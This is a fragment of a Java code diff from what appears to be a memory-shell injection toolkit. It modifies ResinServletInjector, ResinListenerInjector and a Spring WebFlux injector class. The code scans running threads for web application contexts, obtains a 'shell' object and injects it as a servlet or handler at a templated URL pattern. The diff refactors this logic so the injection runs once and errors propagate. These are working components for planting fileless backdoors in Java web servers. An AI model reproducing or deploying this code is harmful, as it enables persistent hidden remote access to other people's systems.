Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -193,12 +198,8 @@ public class ResinListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -15,7 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinServletInjector {
|
public class ResinServletInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -30,16 +33,21 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ResinServletInjector() {
|
public ResinServletInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += "context: [" + getContextRoot(context) + "] ";
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -48,6 +56,7 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -68,7 +77,7 @@ public class ResinServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -80,7 +89,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -176,8 +185,7 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -194,12 +202,8 @@ public class ResinServletInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerFunctionInjector {
|
public class SpringWebFluxHandlerFunctionInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
|
|||||||